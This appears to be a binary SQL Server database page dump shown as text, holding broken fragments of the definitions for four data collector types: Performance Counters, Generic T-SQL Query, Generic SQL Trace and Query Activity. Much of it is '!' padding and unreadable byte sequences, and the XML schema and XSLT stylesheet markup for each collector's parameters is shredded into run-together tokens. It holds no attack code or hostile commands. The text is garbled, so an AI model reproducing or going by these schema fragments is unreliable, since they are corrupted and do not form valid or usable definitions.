!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!x`c3JQIz^R;RFRGRDRERLRMRKRJR5R6R7R8Rh1P2P_`dPdReeRfeRgeRlgRhhRihRjhRkjRkRlRmRnmRpmRtnRopRqpR9pR<qRrqR=rRsrR>tRutRyuRvvRwwRxxR?IQ||Q}@2@@2@@2@@2@@2@@2@@2@@2@	@2	@QQQQw!w!jnjn(b֣WW(9KN]?	ON]?	'N]?	2
N]?	kN]?	O
Fk*
c~=
%

^

Fk*
c~=\y	\;\y	\;"U?
\"U"U"U?
\"U"UZZOZe!y	$ ^KK*?
\$ ^KK*$%`{$%`{x.P%'W)x.Px.Px.P$ x.Po?+x.P%'W)z;z%`{'(k_+' ' '|'	|'(k_+" (" Ru+" (" Ru+]!o?+]!%'W)]!^KK*]!o?+5&(Dڎ'Fk*Dڎ'(k_+'z#9'S>'z#9'S>,)Ru+&m1%&m1%aV/8z#9ҕ;BBҕ;c~=ҕ;BBT<8@T<#`DT<8@T<#`D~<S>I>8@Z@BBwBǏ<GwBrJwBiLwB#`DwBǏ<GwBrJwBiL(C'(C2
(C^(C(CJ(C^Y(C'(C2
(C^(C(CJ(C^YUGTEǏ<GFIFI0HrJ~HI~HJ 
KN 
KP 
KiL 
KN 
KP)?KFpP)?KFpPbcLFpPVMNOPeQkeQG:YeQkeQG:YrW;dOZrW;dOZXG:YX^Y@[Y;dOZ=yk|=yk =yk|=yk =yk|=yk uu(Xv˿w˿w(xyy(<8zQQQQdP	Q

QQQ

QQQQQQQQQDڎ'g3_.^g3_Dڎ'g3_.^g3_Dڎ'g3_dPQQQQQQQQQ  Q!!Q"!Q#!Q$Q%Q&Q''Q((Q))Q**Q++Q,+Q-+Q.+Q/+Q0Q1e.-mPj.-me.-m)zNc}ro|Nc})zNc})zK)z)zQh#mRQh#)zQh#KY'AY'KY'P"SM(ASM(P"SM(KB)AB)KB)(C<6*A<6*(C<6*mR`*+A`*+mR`*+A$mR3DC3DmR3DCúHs{FúHCúHKIs{FIKIP"uWVuWP"uWA^\^A^AzbvM`zbAzbvM`j>o3hjvM`j\ju(v\ju\ju2`Xu(y@w(y2`Xu(y!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|\`rNp^L:(



*f<x0T


t
b
P
>
,


xfTB0X|jXF4"j"F







n
\
J
8
&


							r	`	 N	<	*			B8nvdR@.
zh4VD2 ~lZJ&H6$p^L:(vd
@.zRhVD~ZH6$ltbP>,xfTB0|jXF4"2n\J8&r`"57R@HIp5F)!@pKw8QJŽtKw8QJŽtY
-)MPerformance Counters Collector Typeschema http://www.w3.org/2001/XMLSchemaxsxmlns:xs http://www.w3.org/2001/XMLSchematargetNamespaceDataCollectorTypeelementnamePerformanceCountersCollectorcomplexTypesequence		minOccurs
0	maxOccurs		unboundedPerformanceCounters	attribute
Objectstype
	xs:stringuserequired
Counters	xs:stringrequired
	Instances	xs:stringoptional
StoreLocalizedCounterNames
xs:booleanoptionaldefault
false
stylesheet$http://www.w3.org/1999/XSL/Transformxsl	xmlns:xsl$http://www.w3.org/1999/XSL/Transformxmlns:z
#RowsetSchemaversion1.0templatematch/PerformanceCountersCollectorHTML	HEAD
TITLE	BODY
UL
apply-templatesselect
PerformanceCountersHRPerformanceCountersLI
            \value-of
@Objectsiftest
@Instances(

@Instances)
            \
	@Countersschema_collection_Performance Counters Collector TypePerfCountersCollectPerfCountersUpload	p5ѓ.0$4K>$Kw8QJŽtKw8QJŽtY
,+KiGeneric T-SQL Query Collector Typeschema http://www.w3.org/2001/XMLSchemaxsxmlns:xs http://www.w3.org/2001/XMLSchematargetNamespaceDataCollectorTypeelementnameTSQLQueryCollectorcomplexTypesequence	Query	minOccurs
1	maxOccurs		unboundedValuetype
	xs:stringOutputTable
	xs:string	Databases0	1Database0		unbounded
	xs:string	attribute
UseSystemDatabases

xs:booleanuseoptionalUseUserDatabases

xs:booleanoptional
stylesheet$http://www.w3.org/1999/XSL/Transformxsl	xmlns:xsl$http://www.w3.org/1999/XSL/Transformxmlns:z
#RowsetSchemaversion1.0templatematch/TSQLQueryCollectorHTML	HEAD
TITLE	BODY
apply-templates
selectQueryQueryI
value-ofOutputTableBRPREValueHRschema_collection_Generic T-SQL Query Collector TypeTSQLQueryCollectTSQLQueryUpload
p5!{A3Q%qKw8QJŽtKw8QJŽtY
4|


Generic SQL Trace Collector Typeschema http://www.w3.org/2001/XMLSchemaxsxmlns:xs http://www.w3.org/2001/XMLSchematargetNamespaceDataCollectorTypeelementnameSqlTraceCollectorcomplexTypesequence	Events	minOccurs
0	maxOccurs		unbounded	EventType		unboundedEvent	attribute
idtype
xs:unsignedByteuserequired
name	xs:stringrequired
columnslist	xs:stringoptional
idxs:unsignedByteoptional
name	xs:stringrequiredFiltersFilter0		unbounded
columnidxs:unsignedByterequired

columnname	xs:stringrequired
logical_operator	xs:stringrequired
comparison_operator	xs:stringrequired
value	xs:stringrequired
use_default
xs:boolean
stylesheet$http://www.w3.org/1999/XSL/Transformxsl	xmlns:xsl$http://www.w3.org/1999/XSL/Transformxmlns:z
#RowsetSchemaversion1.0templatematch/SqlTraceCollectorHTML	HEAD
TITLE	BODY
apply-templates
selectEventsHR
FiltersEvents	EventTypeBR	EventTypeIPRE ID = value-of@id - @nameULEventEventLI ID = @id - @nameFiltersFilterFilter@logical_operator - @columnname - @comparison_operator - @valueschema_collection_Generic SQL Trace Collector TypeSqlTraceCollectSqlTraceUpload
p5<8UA)>yf#Kw8QJŽtKw8QJŽt
Query Activity Collector TypeQueryActivityCollectQueryActivityUpload
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`Z2
ZS?c,#^R8!!!!`T@i0vF)!@p^Performance Counters Collector Type	vѓ.0$4K>$\Generic T-SQL Query Collector Type	v!{A3Q%qXGeneric SQL Trace Collector Type
v<8UA)>yf#RQuery Activity Collector Type
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!